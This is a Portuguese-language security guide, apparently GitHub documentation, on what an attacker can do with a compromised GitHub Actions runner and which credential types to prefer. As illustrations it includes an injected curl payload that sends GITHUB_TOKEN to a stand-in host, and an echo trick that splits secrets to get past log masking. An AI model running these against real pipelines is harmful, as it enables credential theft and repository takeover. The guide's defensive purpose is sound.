Executores comprometidos

Possível impacto de um executor comprometido

Essas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de GitHub Actions.

Acessar segredos

Os fluxos de trabalho de um repositório com forks usando o evento pull_request têm permissões somente leitura e não tem acesso aos segredos. No entanto, essas permissões são diferentes para vários gatilhos de evento, como issue_comment, issues, push e pull_request de uma ramificação no repositório, em que o invasor pode tentar roubar segredos do repositório ou usar a permissão de gravação do GITHUB_TOKEN do trabalho.

• Se o segredo ou o token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente com printenv.

• Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível.

• Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Embora o GitHub Actions remova os segredos da memória que não estão referenciados no fluxo de trabalho (ou em uma ação incluída), o GITHUB_TOKEN e todos os segredos referenciados podem ser coletados por um invasor determinado.

Exfiltrar dados de um executor

Um invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a impedir a divulgação acidental de segredos, o GitHub Actions edita automaticamente os segredos editados impressos no log, mas esse não é um verdadeiro limite de segurança, porque os segredos podem ser enviados intencionalmente para o log. Por exemplo, os segredos ocultados podem ser exportados por meio de echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo.

Roubo do GITHUB_TOKEN do trabalho

É possível que um invasor roube o GITHUB_TOKEN de um trabalho. O executor do GitHub Actions recebe automaticamente um GITHUB_TOKEN gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token vence após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para resolver essa limitação, ele pode automatizar o ataque e executá-lo em frações de segundos chamando um servidor controlado pelo invasor com o token, por exemplo: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#

Modificando os conteúdos de um repositório

O servidor do invasor poderá usar a API do GitHub para modificar o conteúdo do repositório, incluindo as versões, se as permissões atribuídas do GITHUB_TOKEN não forem restritas.

Acesso entre repositórios

O GitHub Actions tem um escopo intencional para um único repositório por vez. O GITHUB_TOKEN permite o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho, elevando as permissões do GITHUB_TOKEN se necessário. Os usuários têm permissões específicas para cada repositório. Portanto, permitir que o GITHUB_TOKEN de um repositório permita acesso a outro causará um impacto no modelo de permissão do GitHub se isso não for implementado com cuidado. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de GitHub a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de GitHub concedendo inadvertidamente amplo acesso aos colaboradores.

Se a sua organização for propriedade de uma conta corporativa, você poderá compartilhar e reutilizar GitHub Actions armazenando-as em repositórios internos. Para saber mais, confira Compartilhando ações e fluxos de trabalho com sua empresa.

Você pode realizar outras interações privilegiadas entre repositórios fazendo referência a um token de autenticação GitHub ou a uma chave SSH como um segredo no fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido.

Esta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência:

1. O GITHUB_TOKEN
   • Esse token tem o escopo intencionalmente definido para o repositório único que invocou o fluxo de trabalho e pode ter o mesmo nível de acesso que um usuário com acesso de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para saber mais, confira Usar GITHUB_TOKEN em fluxos de trabalho.
   • O GITHUB_TOKEN deve ser usado sempre que possível.
2. Chave de implantação do repositório
   • Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para saber mais, confira Gerenciar chaves de implantação.
   • Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades.
3. Tokens do GitHub App
   • GitHub Apps podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um GitHub App interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios. Para saber mais, confira Fazer solicitações de API autenticadas com um Aplicativo do GitHub em um fluxo de trabalho do GitHub Actions.
4. personal access tokens
   • Você nunca deve usar um personal access token (classic). Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta pessoal. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho.
   • Se você usar um personal access token, nunca deverá usar um personal access token da própria conta. Se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil. Em vez disso, você deve usar um fine-grained personal access token para uma nova conta que pertença à sua organização e só recebeu acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação.
5. Chaves SSH em uma conta pessoal
   • Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta pessoal. Semelhante a personal access tokens (classic), eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH porque você só precisa executar clones ou push do repositório, e não precisar interagir com APIs públicas, você deverá usar chaves de implantação individuais.

Próximas etapas

Para obter práticas recomendadas de segurança com o GitHub Actions, confira Referência de uso seguro.